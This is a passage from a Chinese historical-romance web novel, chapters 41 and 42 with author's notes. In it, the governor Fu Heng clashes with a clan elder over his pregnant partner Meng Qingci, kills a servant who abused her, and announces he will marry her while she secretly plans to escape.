她是谁都不要紧,她如今只能在他身边,只能做他傅珩的女人。小姑娘自己怕是还不知道呢,她这颗心也很快便能有他。 王氏说的不对,他和他们夫妻并不一样—— 作者有话说:孟清辞:赶紧找机会离开是非之地 傅珩:功夫不负有心人 40-50 第41章 第 41 章 行事轻浮 这日, 京中快马急讯传来,如一道惊雷劈开了闽州傅氏宗族的宁静。 安义侯傅继宗于押运粮草途中遭敌寇突袭,率部血战护粮, 最终不幸被枭首殉国, 以身报社稷。 噩耗传至,举族震惊。傅逸贤手中茶碗猛地一颤, 险些倾翻。作为傅氏三兄弟的堂叔祖父,自大老爷傅承怀赴京任职后, 他便暂代主持闽州族中事务。 此刻,他胡乱拂去衣袍上溅开的茶渍,攥着那封浸透墨泪的军报, 旋即起身,踩着满地碎金也似的秋阳,疾步往傅珩的巡抚府而去。 巡抚府书房里, 傅逸贤不免红了眼睛:“你二哥去的惨烈,却没给傅氏丢脸,当务之急是寻一处风水宝地安置他, 我来时看过,给他选了个背山面水的所在,正应了‘气聚而不散, 风藏而水绕’的吉壤, 既不辱没了侯爵的忠烈, 也得让他魂归故里后, 能护佑傅家子嗣绵长。” 窗外秋蝉嘶鸣不绝, 将午后的日光割裂成零碎的金片,明明灭灭斑驳落于傅珩侧脸,那光斑晃得人眼花, 却辨不清傅珩眼底是悲恸还是沉静。 他声线稳得像古潭深水,听不出半分波澜:“既是堂叔祖父打理族务,自然一切由堂叔祖父全权做主。” 傅氏一族,族长素来出自长房嫡支。如今长房三兄弟皆非池中之物:老大傅承怀在礼部任职,老二傅继宗继承爵位,在工部任职,二人皆在京畿,老三傅珩更是官至闽广总督的封疆大吏。 正因这三兄弟个个龙骧虎步,才轮得旁支的傅逸贤暂代族长之职。 傅珩肯定了傅逸贤代族长的位置,又暗合宗法礼制,傅逸贤听在耳中,心下自是受用。他眼角的褶子都舒展开几分,劝慰道:“你亦须节哀,保重身子。还得多宽慰你母亲。傅氏一族的将来,终究还是要倚仗你们兄弟。” 傅珩眸光微沉,寒潭掠影般扫一眼傅逸贤,意味不明道:“劳堂叔祖父挂念,有劳堂叔祖父记挂,母亲如今在佛堂吃斋,为二哥祈福。” 傅逸贤叫这话不软不硬的膈应了下,王氏那女人差点害得他们傅氏嫡房绝了后,害得他惊才绝艳的大侄子早逝,他挂念王氏去死还差不多。 傅逸贤不冷不热的笑了下,转了话锋:“说来你年岁也已不小,是该正经娶一房妻室,安定后宅了。总不能太过纵容妾室,任其借你声名在外行事张扬,既损你清誉,又寒了闽州世族的心。你房里那孟氏,收购朱家产业也就罢了,如今连人家安身立命的族田都不放过,吃相如此难看,竟与那趁火打劫的商贾无异!我傅氏一族累世的清名,让她一遭败了干净,日后叫我傅氏如何表率闽中世族?” 傅珩闻言,唇线勾起一抹冷嗤:“区区一个朱氏,傅家若都要畏首畏尾,何以表率闽州世族?若事事如此束手束脚,我这闽广巡抚,不当也罢!” 傅逸贤苍髯颤着摇头,一声长叹几乎要震落鬓边霜发:“非是此理。你莫不是真如外界所言,被那女子迷了心智?此事要害,岂在朱氏兴衰?她从那朱大姑娘手中买下家业,便是认了她继承家产的名分!女子承继宗祧,你叫一众世家豪族如何自处?这动摇的,是千年伦常之根基啊!” 傅珩眸光骤然一冷,他本就不是什么好性儿的人,此刻声线更是沉了下来:“谁说她是妾室?” “不过是朱家族内倾轧相争罢了,朱家不公不慈,朱大老爷技高一筹、留有后手。孟氏虽一介妇人,胆识却远胜庸常之辈,购置朱氏产业是眼光独到的一笔良贾。何错之有?”他眸中已寒霜凛冽,声线如淬刃般锋锐:“若依堂叔祖父所言,女子承产便是动摇伦常,他日若我无男丁承嗣,只有嫡女承欢膝下,族中也要效仿朱氏,当我的掌上明珠是砧板上的鱼肉,任人剜去家,业赶尽杀绝?” 他微微向前倾身,声音不高,却字字如钉:“还是,堂叔祖父妒忌她未曾分你们一杯羹?” 傅逸贤像是被一语道破了心思,浑浊的眼中倏地掠过一丝窘迫,当即扬声辩驳:“休得胡言!傅氏一族岂会贪图这点微末之利?更何况,那朱氏不过是商贾出身,上不得台面,焉能与我百年傅氏相提并论?我傅氏诗礼传家,规矩森严,岂会如朱家那般不堪,罔顾人伦,失了子侄亲情!” 傅珩半阖着眼帘,神色幽深难辨:“傅氏有什么规矩,伦常又究竟如何?堂叔祖父您,不是最清楚不过了么?” 傅逸贤侧过脸望向窗外,有意避开了傅珩如有实质的目光。他嘴唇微微颤动,却终究未能辩驳一词。 长房上两代的行事,的确不堪,令人难以启齿。傅珩的祖父便是强取豪夺之辈,到了他父亲,更是变本加厉,竟做出强夺人妻之事。而傅珩母亲对其父亲干的事情,更是让人瞠目结舌、骇人听闻。当年若非王氏有皇家撑腰,王氏如此秽乱后宅,依傅氏祖规,她早该被沉塘处置,哪还容得她活到今日。 他窥探傅珩神色,显然对此间污浊了如指掌。却不知远在京畿的大堂侄孙傅承怀,又知晓多少?作何感想? 傅逸贤终是抵不住这傅氏一族中最具威势的侄子的注视,颓然败下阵来,只低声挤出一句:“即便如此……你也不能娶一个奴婢为妻,不成体统,傅氏丢不起这个人。” 顿了下,傅逸贤胸膛剧烈起伏,喘着粗气,一双赤红的眼睛死死瞪向虚空,半晌才从牙缝里挤出嘶哑的声音:“当年若不是你父亲为了个女人昏了头,天下纷争的大好时机,傅氏何至于落到仰人鼻息、看人脸色过活的地步?甚至险些……险些断送你这一房的香火!傅氏如今全指望你们兄弟光耀门楣,大业指日可待,你万万不可重蹈你父亲的覆辙!傅氏再经不起任何波折。” 傅逸贤苦口婆心劝说道:“那孟王爷府上的沈小姐是多好的一门亲,你莫要因小失大,被女色冲昏了头脑,得孟王府助力,咱们傅氏的大业如虎添翼。” 傅珩冷淡的眉梢轻轻一挑:“原来堂叔祖父忧心的是香火嗣续。那大可宽心,长房已有晏桉承继门户。何况孟王府我自有谋算,不劳堂叔祖父费心。至于傅氏的大计,还不必系于女子裙带之间,” 傅逸贤喉头一哽,指着傅珩“你……你……”了半晌,最终只重重一拍大腿,化作一声长叹。 傅珩面色沉静,眸光却疏淡如霜:“孟氏已怀有身孕,此乃侄儿第一个子嗣。侄儿年齿渐长,不容此胎有半分闪失。还望堂叔祖父代为约束族中亲眷,她素性喜静,不耐烦扰,莫让人惊了她的清净。否则——” 他语声微顿,寒意渐深:“若有什么不长眼的前去生事,便休怪侄儿届时……不顾情面。” 堂叔祖父傅逸贤的试探,傅珩岂会不知道,沈云夕的手倒是伸的长,他倒是小看她了。 傅逸贤再坐不住,猛地起身,花白的胡须因怒极而微微颤动。他瞪圆了双眼,最终却只重重摇了摇头,一言不发,拂袖朝门外走去。 自傅珩回府,书房门庭若市,从晨光微熹到漏尽更阑,回事的人穿梭不息。案牍声与争辩声总也没个消停,孟清辞不胜其扰,遂拿这个借口搬回了后院。 孟清辞这两日一筹莫展,如今身孕有了,可她还没寻到离开的机遇,终日处在傅珩的掌控之下,对她看的紧。直至今日,心中才忽现一策,正筹谋着明日出门去。 霞光轻步进来,低声禀报:“姑娘,祖宅那边来人了,说是代族长的夫人——萧太夫人,特来探望您。” 孟清辞闻言蹙起眉尖,毫不避讳地当着霞光的面便翻了个白眼:“不见。应付你们主子一个已够我受的,旁人休想我再应酬。她若不服,自去找你们主子说去。” “萧太夫人终究是主子的长辈,姑娘若执意不见,传出去恐于姑娘名声有碍,平白落了话柄。再说,以主子的身份地位,以及对姑娘的珍重和回护之心,她便是长辈,也断不敢给姑娘脸色瞧,不如”霞光柔声劝说,学着她平日的俏皮,逗她:“不如姑娘勉为其难敷衍一番。” 孟清辞既已拿定主意,便再难更改。她本就一心筹划离去,哪还肯耗费精神应付这个,她摇了摇头,语气虽淡却不容置疑:“我如今身怀六甲,体倦神乏,任是谁来,一概不见。若真想见我,且待孩儿满月之后再说罢。” 她的话音刚落,就听外面响起一阵吵嚷之声。 “堂太夫人,您不能闯进去。” 只听“啪”的一声脆响,紧跟着一个婆子厉声叱骂:“没规矩的小蹄子,在主子跟前也敢这般张狂!合该拖去宗族祠堂里,好好跪上几日,学学什么是规矩!” 那婆子声音陡然一转,愈发尖刻讥诮:“没的只学了些勾引爷们的下作手段,倒把自己当个人物了!” 孟清辞听得蹙眉,便有人闯进屋里来,为首的正是代族长的夫人萧氏。萧氏不只自己进来,还带了个两个婆子进来,皆是横眉立目的。 孟清辞见她来者不善,并不惯着,连榻都没下去,清凌凌的眸子冷眼看着萧氏,只不开口。 萧太夫人知晴儿从前是傅静妤身边的婢女,又见她神态倨傲,全然不将自己放在眼里,不由蹙紧了眉头。 再往下瞧,见孟清辞裙下露出一双未着绫袜的玉足,珍珠似的脚趾莹白圆润,更是心生鄙夷。她早觉得这晴儿被嫡房养得娇贵逾矩,俨然一副副小姐做派,很没体统;如今更认定她行事轻浮、惯会媚主,恨不得立时叫婆子将她从榻上拖下来,狠狠教训一番。 看见晴儿,就仿佛看见当年那个死老太婆。萧太夫人一时之间竟咬牙切齿的鄙夷:那死老太婆自己是贱婢出身,没有规矩,以至于嫡房的奴婢也和她一样没有规矩。 同样的卖弄风骚,专作下流情态勾引爷们儿,否则傅老太爷怎会非她不可?如今嫁入嫡房的,合该是她自己! 饶是恨不得将眼前的晴儿拖出去乱棍打死,萧太夫人也知道,晴儿这个贱婢,如今怀了傅珩的孩子,不好立时动她。来之前,她家老爷还特意叮嘱,切莫闹出什么事端。但若……是晴儿自己不经事、不争气,惊动胎气失了孩子,那便怨不得任何人。 她绝不能再容忍一个来路不明的女人踏进傅家嫡房。当年她争不过那个奴婢出身的,叫个低贱奴婢骑在头上大半辈子屈居人下,岂能再容第二个?今日,她定要让晴儿知道,什么叫规矩,什么叫身份。 萧太夫人银牙暗咬,见晴儿迟迟不开口,自己又不愿自降身份先声,只得将一双利目化作寒刃,狠狠剜向榻上之人。 她身后的婆子也没料到孟清辞竟敢如此目中无人。不论身份尊卑,既是长辈亲临,岂有仍安坐榻上、不行礼问安之理? 那婆子默了一瞬,随即扬声厉斥:“好个大胆刁婢!见了主子竟不下榻行礼,莫非真以为揣了个种便算个人物了?能不能生得下来,还得看主子给不给你这份恩典!” 那婆子声如洪钟,嗓音粗粝似夜枭嘶鸣,刺得人耳膜生疼。霞光被她骤然一喝,不由得愣住,瞬息间心头骤起惊澜,这哪是什么探望,分明是来者不善、暗藏祸心! 霞光气得双手发颤,却仍强撑着挡在孟清辞身前,勉强扯出一丝笑意解释道:“回太夫人,我们姑娘是良籍,非是奴婢,哪里来的主子奴婢之说,再说,并非我们姑娘不敬长辈,实在是您来得匆忙,我们姑娘还未及准备……” 话音未落,那婆子猛地抢上前来,“啪啪”两声,狠狠掴在霞光脸上,厉声骂道:“没规矩的东西!主子面前哪有你插嘴的份?什么主子奴婢的,这不就是从前府里的晴儿,怎么不是奴婢?瞧你这撒谎成性的下贱胚子,就该拖出去打烂嘴,才长记性!” 她正愁寻不到发作的由头,恰巧霞光自己撞了上来,倒省了她一番唇舌。眼下这般阵仗,她就不信晴儿那小贱人,还能扛得住! 霞光万没料到萧太夫人竟真敢叫底下人动手,一时双颊滚烫发麻,顷刻肿起老高。她耳中嗡鸣不绝,眼前模糊一片,疼出满眼泪水,整个人怔在原地,半晌回不过神。 孟清辞冷眼瞧着,心知萧太夫人此番前来,无非又是那些老手段,她连敷衍都懒得敷衍。见霞光吃亏受伤,她眸光一寒,随即突然捂住肚子高声痛呼:“哎呦……哎呦……我肚子好痛……疼死我了……快来人啊!” 这一嗓子才叫霞光回神,立时慌张的对门口,语无伦次的叫嚷起来:“快去叫主子!快去!快去叫张大夫来。” 一口闷气堵在心口,霞光仍死死护在孟清辞身前,朝外厉声斥道:“你们都死了吗?!她们不讲规矩,你们也忘了谁才是主子?还不快进来护着!若姑娘有个三长两短,看你们怎么死?大人非剥了你们的皮。” 萧太夫人与那婆子一时怔住,万未料到晴儿如此不经吓,不过打了她的婢女两巴掌,她便腹痛,有滑胎之相。 她们原以为即便晴儿心中惊惧,也必会强撑到她们离去之后,那时候她这一胎不保,也没法一定赖在她的头上,不想她看着厉害,却是个银样镴枪头,外强中干,竟是立时腹痛难忍,倒叫萧太夫人一时措手不及,脸色隐隐难堪,手心暗自冒汗,捏紧了手里的帕子。 此时院中仆婢婆子也都回过神来,一听孟清辞高呼腹痛,似是动了胎气,再顾不得什么尊卑规矩,一股脑涌进来,几下便将萧太夫人并两个婆子隔开,眼看就要将人撵出门去。 那婆子与萧太夫人眼色一递,心领神会,当即厉声嚷道:“休要在此装模作样、血口喷人!我们太夫人好心前来探望,你不知礼数,浪荡不知羞耻的衣衫不整便罢了,竟还想将这脏水泼到太夫人头上?我们可是连你一根头发丝儿都未曾碰过!” 主仆二人既已横下心来,便决意一不做二不休。她们暗忖:只要没了孩子,晴儿便再无可倚仗,根本不值得忌惮;可若此番真让她保住了胎,反倒偷鸡不成蚀把米,后患无穷。 仗着自己身份特殊,量院中奴婢也不敢对她动手,那婆子越发肆无忌惮,污言秽语如泼水般倾泻,一声比一声尖刻刺耳。 傅逸贤前脚刚离开,便见一个小丫鬟跌跌撞撞地冲进来,几乎摔倒在地。上气不接下气,还未站定便带着哭音急喊:“主子,不好了,姑娘不好了” 傅珩心头骤沉,霍然起身,步履生风直向后宅赶去。 墨简一把拉住欲跟着奔入内院的小丫头,蹙眉低斥:“好好回话!姑娘究竟怎么了?” 小丫头早已吓得魂不守舍,她年纪虽小,却因腿脚灵便抢在了婆子前头跑来报信,此刻只颤声呜咽道:“萧、萧太夫人来了……不知怎的,屋里突然闹了起来,就听姑娘喊疼,想来是动了胎气……后来,后来,便听霞光姐姐喊,姑娘晕倒了。” 墨简听罢心中一凛,当即冷肃着脸色快步追上傅珩,一边急行一边将事情原委道来。傅珩闻言,眸中霎时暗流翻涌,戾气丛生,薄唇紧抿如刀,整张脸阴鸷得骇人。 甫一踏入孟清辞的院落,正听见萧氏那婆子堵在正房门口高声叱骂,“小贱人”、“下贱胚子”之类污言不绝于耳。傅珩听得额角青筋暴起,抬眼只见那婆子一张老脸扭曲狰狞,活似索命的恶鬼,叫人憎厌欲呕。 傅珩双目赤红,怒极恨极,倏然转身抽出墨简腰间长刀,一步踏前,刀光乍现——只听沉闷一声响,竟有个圆物应声滚落在地。他唯恐惊扰房内的孟清辞,竟还一把将那无首尸身拽离门前,拖至院中,还对所有人做了个禁声的手势。 霎时间,庭院中一片死寂,所有仆婢婆子都双目圆睁,惊恐的长大了嘴巴,却不敢发出一点声响,生怕惊动了屋里的姑娘,和这个婆子一个下场—— 作者有话说:孟清辞:你家里祖传的乱[柠檬] 傅珩:我和他们都不一样,别放弃我[求求你了] 第42章 第 42 章 正妻之礼 萧太夫人就站在那婆子身边, 那是她的陪嫁婢女,相伴多年,感情非同寻常。如此毫无征兆, 在她身边被傅珩一刀枭首。 温热鲜血已溅上她的脸颊, 萧太夫人惊恐的睁大双眼,喉间未及溢出的惊叫卡在声门, 老夫人沟壑纵横的面庞上,所有皱纹都被骇人的惊愕撑得平展, 只剩眼角松弛的皮肉簌簌发颤。只是瞬息,萧太夫人两眼一翻,身子晃了两晃, 和面条一样软倒在地,昏死过去。 傅珩眼皮都未掀一下,反手便将染血的长刀递向墨简。目光掠过跌坐在地、搀扶着萧氏低声啜泣的另一名婆子, 那双冰冷的眼睛如同在看死物。 他声线压得极低,却字字剐人心肺:“送萧氏回去。这婆子,拖去祠堂。”他语调无波, 命令却森然,“召集全府仆婢观刑,杖毙为止。要让他们, 牢牢记住今日。” 墨简躬身领命, 转身召来近卫。面无表情的近卫们动作利落地将萧氏架起, 那正要叫嚷的婆子被迅速堵了嘴, 与萧氏一同被拖出院子, 迅速而安静地被拖出了院落。 傅珩虽心急如焚地牵挂着孟清辞的状况,跨入房前却仍停下脚步,他仔细拭净鞋底与手上的血迹, 而后才迈过那道门槛,将门外的血腥与残酷彻底隔绝。 墨简心底暗凛:主子多久不曾亲手杀人了,孟姑娘便是他绝不可触的逆鳞。萧氏此番,真是吃了熊心豹子胆。 他一面低声喝令左右那些早已吓得魂飞魄散的仆婢:“还愣着做什么?速将此处清理干净,一点痕迹都不准留。” 傅珩甫一入内,便听见张合一边疾书一边头也不抬地埋怨: “早叮嘱过忧思伤脾、需得静养,最忌嘈杂惊扰。也不知道你们主子怎么回事,什么人都放进来,吵得人头昏脑涨。” 张合沉浸于医案之中,全然不知外间刚经历过何等肃杀,笔尖骤然一顿,才愕然抬头:"咦?怎的突然没了声响?" 这一抬眼,正撞进傅珩深不见底的目光里。 张合是个一根筋的脾性,素来不通人情世故,此刻更看不出傅珩眼底翻涌的阴霾,只顾着蹙眉数落:"大人来得正好!姑娘先前本就亏了气血,这一胎本就艰难,最该安神定魄。今儿叫人来折腾一番,明儿叫人来折腾一番,母体受损,恐有滑胎之相。” 他越说越恼,语气一沉,重重搁笔:“如此这般反复,便是大罗金仙也难回天!” 傅珩素知张合性情,并不计较他的直言,只沉声问道:“眼下情形如何?” 张合重重一叹:“今日算是勉强稳住,但胎象仍险。往后月份愈大,更需万分谨慎,再经不起半点风波。” 傅珩默然片刻,复又开口:“除静养外,还需何种调理?” 张合摇头:“姑娘心思深重,郁结在内。药石之外,更需心绪平和,唯有心安,方能胎安。” 傅珩默然颔首,将张合的嘱咐一一记下,随即转身饶过描金绘牡丹屏风,踏入内室。 霞光见傅珩眉宇间尽是肃杀之气,心头一凛,吓得屏息凝神,更不敢想象外间究竟发生了何等骇人之事。她低声禀道:“姑娘还昏睡着,奴婢这就去煎药。”语毕匆匆退出,背后却沁出薄汗,若主子知晓姑娘原是假作昏迷,又该如何收场? 室内,鎏金香炉飘着沉水香,丝丝缕缕萦绕一室,绣着并蒂莲的床帐泛着暗金光泽。 傅珩轻轻掀开床帐,见孟清辞闭目静卧,眉尖轻蹙如春山含黛,似乎极不安稳。腕子搁在被面,白得近乎透明。他在床沿坐下,掌心覆住她的手背,指腹摩挲着她腕间薄如蝉翼的肌肤,掌心跳动着近乎虔诚的颤栗。 他喉结重重滚过,心下五味杂陈,有自责,更多的是恐慌。 他原是为留住她,才如此渴望一个孩子。如果孩子对她不好,他宁可她不生孩子。但他又卑微阴暗的想:如果没有这个孩子,她又有几分心思在他的身上呢。 她说愿意同他好好过日子,可大夫却说她忧思深重。她在忧思什么?是不是仍旧不肯原谅他,当日在侯府强夺了她? 傅珩眸色深沉如夜,薄唇抿作一道冷冽的直线。他何尝不知自己手段不光彩,可若不如此,她又怎肯留在他身边? 思及此,他唇角牵起一丝自嘲的弧度。她看不上傅晏桉,是因不甘为妾,更不齿于傅晏桉的哄骗胁迫,白身出身的宋闻璟,自然入不了她的眼;可就连那般清风朗月、素有君子之名的顾淮序,也未曾得她半分青睐。 可见她情窍未开,又又怎会瞧得上年长她这许多的自己?若是她知道自己何如不堪,是不是会更加嫌弃自己,傅珩不敢赌。 孟清辞本是佯装昏厥,奈何那婆子仍在喋喋不休地絮叨,吵得她心烦意乱。她不禁暗想,霞光性子还是太软了些,若换作是自己,早叫人将那婆子的嘴堵上拖出去杖责一顿了。 那些话语她虽并不十分在意,可那婆子夜枭般嘶哑刺耳的嗓音,一声声搅得她太阳穴突突地跳,连脑袋都隐隐作痛。 连给她诊脉的张合也明显受了干扰,指下反复推敲,一连诊了三四次脉象才终于作罢。 不知为何,那婆子叫骂的声音戛然而止,忽然就没声儿了。屋内外一时静得骇人,唯有张合的唠叨和落笔的沙沙声。这寂静来得突兀,反倒透出几分骇人的诡异。 不想傅珩来的倒快,也不知用了什么法子,将萧氏打发了,不过孟清辞暗自蹙眉,仍旧合眼装晕,懒得应付傅珩。 谁知这厮竟径自坐到榻边,握住她的手不撒开,他目光沉沉落在她脸上,灼灼如有实质,烫得她几乎绷不住面上的平静。孟清辞心中暗恼,只得强自按捺,继续扮作无知无觉。 蓦地,一阵微风穿堂而过,捎来一丝若有似无的血腥气。孟清辞胃脘骤然翻搅,再难维持昏迷之态,不受控制的,翻身伏在床榻边干呕起来。 所幸她腹中空空,虽胃里翻搅得厉害,却也只是伏在榻边干呕了几声。 傅珩被她惊得脸色都变了,连忙俯身轻抚她的后背,朝外急唤:“来人!速再传张合!” “不必……”孟清辞一把攥住他的手臂,止住他的话。她呕得眼尾泛红,眸中水汽氤氲,虚弱地抬眸问道:“外面是什么味儿……是血的味道?” 傅珩神色微不可察地一僵,眼底掠过一丝心虚。不想她觉得自己暴戾成性,毕竟在她面前,他始终克制着骨子里的暴戾,她甚至从未真正识得他的本性。 他当即敛起异色,轻柔地将她揽入怀中,低声安抚:“你闻错了,没有的事。” 孟清辞并不想纠结这个,全当做是孕期反应,她想了一个绝好的计策,正思忖如何对傅珩开口。 未料傅珩先开口道:“原是我思虑不周,一心想等寻得你的家人,再风风光光地将你迎娶过门,才不算是委屈了你。,今日之事,叫我知道,我原来的想法大错特错。” 他伸手握住孟清辞的指尖,掌心温热,力道却不容退缩。那双细长的眼眸中翻涌着深沉的情愫,痴狂与怜惜交织,几乎要将人吸入其中。 :“你是我傅珩的女人,便该名正言顺做我府中的女主人。如今你更怀了我们的骨肉,我若再让你无名无分地跟着我,才是真正的委屈了你。” 他指腹轻轻摩挲她的手背,语气骤然坚定:“清辞,我即刻便要娶你为妻。从今往后,你就是这闽广最尊贵的女子,再无人敢在你面前张狂放肆,让你受半分委屈。” 孟清辞强忍着一把将他推开的冲动,脸上那抹温顺的笑意几乎挂不住。心底早已惊涛骇浪:谁要嫁你?谁要做你的夫人?荒唐!简直荒唐! 可她最终只是柔了身子,顺势倚进他怀中,一声轻叹似无奈又似娇嗔:“我何尝不愿与你做堂堂正正的夫妻?只是成婚仪节繁琐,怕我如今身子不争气。” 傅珩正是心思敏感之际,将孟清辞每一寸细微的挣扎与僵直尽收眼底。他阖了阖眼,心甘情愿吞下这显而易见的谎。哪怕只是她指尖漏下的一点虚情,也叫他心神激荡万分。 他掌心抚过她单薄的背脊,动作轻柔得像是在对待一件稀世珍宝,声音低沉而笃定:“别怕,一切有我。你半分心都不必操,只需好好休养,等着做我傅珩名正言顺的夫人。” 傅珩此人,一旦认定一事,从不容许旁人有半分违逆。他断定她绝不会心甘情愿地顺从,便冷眼旁观自己遭算计,直至她走投无路,叫自己不得不求他。后来在船上,知道自己如何也不待见他,便给自己种香,要叫她身心都再离不开他。 如今他说要娶她,又怎会接受拒绝?孟清辞心下清明,懒得多费唇舌,只柔顺应道:“好,我都听你的。” 她在他怀中仰起脸来,眼尾含着细碎的光,像揉碎了满天星子缀在眸中,漾开几分恰到好处的崇拜:“早听说你一向推崇心学,主张仁义礼智、知行合一,在闽广之地门生广布,更被众学子奉为典范。” 她以往待他,不是嫌恶便是敷衍,几时曾用这般目光看他——欣赏的、仰慕的,清凌凌的眸子里只有自己。傅珩只觉心口一胀,酸涩与充盈交织,半边身子都酥了,耳尖悄悄漫上一抹红,指尖都不自在地蜷了蜷,竟被她夸得有些无措。他强作镇定,淡淡应道:“不过虚名罢了。” 孟清辞却伸出双臂软软环住他的腰,将脸往他胸前蹭了蹭,嗓音糯得似融了蜜:“近来我总睡不安稳,梦中多惊悸,听闻城外青云观中讲经论法极是宁心静气。我想去听几场讲学,既安神魂,亦能养胎。” 傅珩明知道她是在哄自己,却不忍拂了她的兴致,他贪恋她此刻仰慕的目光,只想叫她此刻仰慕的目光多停留一瞬。 傅珩抚了抚她如云鬓发,终是低声应允:“好。若想去,便让墨松去打点安排。”他略作停顿,又温声补上一句,:“只一点,不可在外留宿。” 孟清辞轻笑一声,伸出纤指在他心口轻轻一勾:“怎么还记得?可见你是小气。” 傅珩略有赧色,面上却仍端得沉稳:“并非小气。”他声线低了几分,似是解释又似自语,“你如今有着身孕,外间终究不便。” 他既然答应,孟清辞也无有不应,眼底掠过一丝几不可察的松快,唇角亦轻轻弯起。 两人正说这话,霞光端着药进来:“姑娘,先把药喝了罢。” 傅珩接过药碗,试了试温度,正欲亲自喂她,孟清辞却微微偏头避开,轻声道:“还是我自己来罢。一勺一勺的,反倒更苦。” 她接过药碗,蹙起秀眉,屏息将药一饮而尽,随即把空碗递还给霞光。这才发觉霞光身子微颤,神色紧绷,不由问道:“你怎么了?脸色这样不好。” 霞光勉强扯了扯嘴角,下意识地将碎发别到耳后,低声道:“没、没什么……许是天热,有些中了暑气。” 孟清辞便温言道:“既如此,你便下去歇着罢。顺便请张大夫开两剂解暑的药,好好缓一缓。” 霞光却不敢应声,傅珩正眸色冷沉地凝视着她,眼中尽是无声的威慑。她吓得后背沁出冷汗,僵在原地动弹不得。 孟清辞轻笑一声,目光在两人之间转了转:“你看他做什么?莫非是他不让你去?” 霞光喉咙发紧,声音干涩:“没……没有的事。” 傅珩这才淡淡开口:“下去罢。” 霞光如蒙大赦,急急应了一声,几乎是逃也似的退了出去。她一路心头发颤,暗想:若姑娘知道主子方才在门外一刀削了那婆子的脑袋,血溅阶前,必然是不会再住在这屋里。 霞光从前还时常苦劝孟清辞,如今亲眼见识过三爷那些冷酷狠厉的手段,只觉脊背发寒、阵阵发冷。再想起世人皆夸赞三爷“如圭如璋、克己复礼”的显赫声名,顿觉荒唐。 萧氏被傅珩近卫抬回院中,傅逸贤见老妻面色惨白、昏迷不醒,惊诧不已,更令他胆寒的是,随萧氏同去的两个心腹婆子,一个身|首|分离的抬回来,另一个甚至未经过他,就直接被拖至祠堂,活活杖毙。 傅珩的近卫将人送至便转身离去,并不与傅逸贤回话。 院中一时乱作一团,请大夫的急促脚步声、丫鬟见到尸首的尖叫声交织不绝。傅逸贤强压惊怒,一把扯住一个随行回来的小丫鬟厉声质问。 小丫鬟早已魂不附体,哭得语无伦次,断断续续地将事情经过说了一遍。傅逸贤越听越心惊,待她说完,整个人几乎瘫软,重重跌坐在靠椅里。 他脑中嗡鸣,只剩一个念头:完了。 目光扫向榻上双目紧闭的萧氏,傅逸贤牙关紧咬,既恨老妻不顾他的再三叮嘱,愚蠢妄为,更恨傅珩手段如此酷烈,竟丝毫不顾他的颜面。 经此一事,莫说代族长之位形同虚设,只怕日后在整个傅氏宗族之中,他也再难服众、威严扫地。 千不该,万不该,不该叫那姓沈的毛丫头三言两语蛊惑。 世人都道傅珩最肖其祖父,清风峻节、克己复礼,俨然又一世家楷模。傅逸贤倒是觉得,这祖孙二人除却一脉相承地痴迷于婢女出身的女子之外,真论起手段决绝、心性酷烈,傅珩可比其祖父要狠辣多了。 只他这个侄孙,向来如深潭静水,心思难测,喜怒从不形于色。而今竟为后宅妇人几句寻常口角,便径直令其血溅当场,思及此,一阵清晰的寒意骤然窜上傅逸贤的脊背。 傅逸贤想到傅珩近年来积威甚重,不说傅氏一族年轻一辈唯他马首是瞻,整个闽广的世家豪族皆在他手,岂会把他一个旁支,区区代族长看在眼里?一时间,傅逸贤连去兴师问罪的心思都歇了。 院中一时人影匆忙,请来的大夫为萧氏紧急施针。直至暮色渐沉,天光寂灭,萧氏才幽幽转醒。她吃力地转动眼珠,瞥见丈夫坐在不远处的靠椅中,整张脸隐没在昏暗的阴影里,辨不清神情。 她张了张嘴,竭力想说什么,却只发出模糊的“啊啊”声,舌头僵麻得不听使唤,一缕津液不受控制地自唇角滑落。 傅逸贤并未上前。他就那样阴沉着一张脸,冷冷注视着这个跟了他几十年的发妻,目光如冰,纹丝不动。 傅逸贤方才已将萧氏房中仆婢细细审过,叫他知道不少事情,此刻他冷眼瞧着发妻狼狈不堪的模样,唇角勾起一丝森然冷笑::“我倒是小瞧了你,委屈你跟了我几十年,难为你了。” 萧氏双目圆瞪,惊慌自眼底一掠而过,旋即化作急切,咿咿呀呀地试图开口,像是要解释什么,她身子奋力挣动,却发现手脚都失去了知觉,她心下更是惶恐只能发出更急促却含糊的‘啊啊’叫嚷。 傅逸贤却只漠然一哼:“不必白费力气。你这中风,是好不了的。” 萧氏死死地盯着他,目光中尽是不可置信,他竟不打算再为她延医问药! 傅逸贤抬手缓缓抚过自己的面庞,忽然阴鸷一笑,声音低沉如淬寒冰:“嫁与我为妻,却可日日见得着我堂兄,这几十年,这几十年你还满意吗?” 萧氏见傅逸贤眼底尽是冷薄,知他什么都已知晓,渐渐不再挣扎,瘫软在榻上。口角仍不受控制地淌下津液,唯有一双眼死死睁着,眸光浑浊,却烧着最后一簇不甘的光。 傅逸贤低低笑了起来,苍老的嗓音沙哑似地府幽风,漫着森森寒意:“放心,终究夫妻一场,我不会让你死。” 语毕,他再未看榻上之人一眼,拂袖转身,径直踏入门外沉沉的暮色之中。 自那日起,傅珩便着手筹备与孟清辞的婚仪。他身为闽广巡抚,婚事自当宴请闽广所有豪门世族,虽然婚期定在一月后,有些仓促,却不想委屈孟清辞。 虽将婚期定在一月之后略显仓促,却丝毫不愿从简,不肯委屈她半分。 墨松奉命张罗婚宴,一边备嫁妆、一边整聘礼,三书六礼诸事繁杂,忙得几乎脚不沾地、整个人如同转了陀螺,恨不得分作三人用…… 而孟清辞却似置身事外,终日不过问婚仪细节,反是隔三差五便前往青云观去,只道是观中道法超然,宜于安胎。 傅珩心中如明镜,却从不点破,只嘱咐她每日天黑之前须得归府。其余种种,他皆视若未见,默许如山。 很快消息不胫而走,传遍闽州,那位深得巡抚傅珩宠爱的女子孟清辞,竟非无名无分的妾室,而是他即将以正妻之礼迎入府的准夫人。 一石激起千层浪,闽州世家豪门皆惊诧不已。原本只道她出身微贱,不过仗着几分姿色暂得宠爱,谁曾想傅珩竟真要以正妻之礼迎她入门。 众人不由得纷纷揣测,这姑娘究竟有何魔力,能令多年不近女色、冷峻自持的傅巡抚如此神魂颠倒。 惊诧之余,更多是扼腕叹息。多少世家大族暗中绸缪多年,欲将嫡女送入巡抚府中,却始终慑于傅珩冷峻寡言、不近女色的威严,未敢轻易动作。 直至此刻,亲见他竟以正妻之礼迎一出身寒微的女子,方才恍悟:原是过于谨慎,错判他心性。世间男子,哪有真不为美色所动之理? 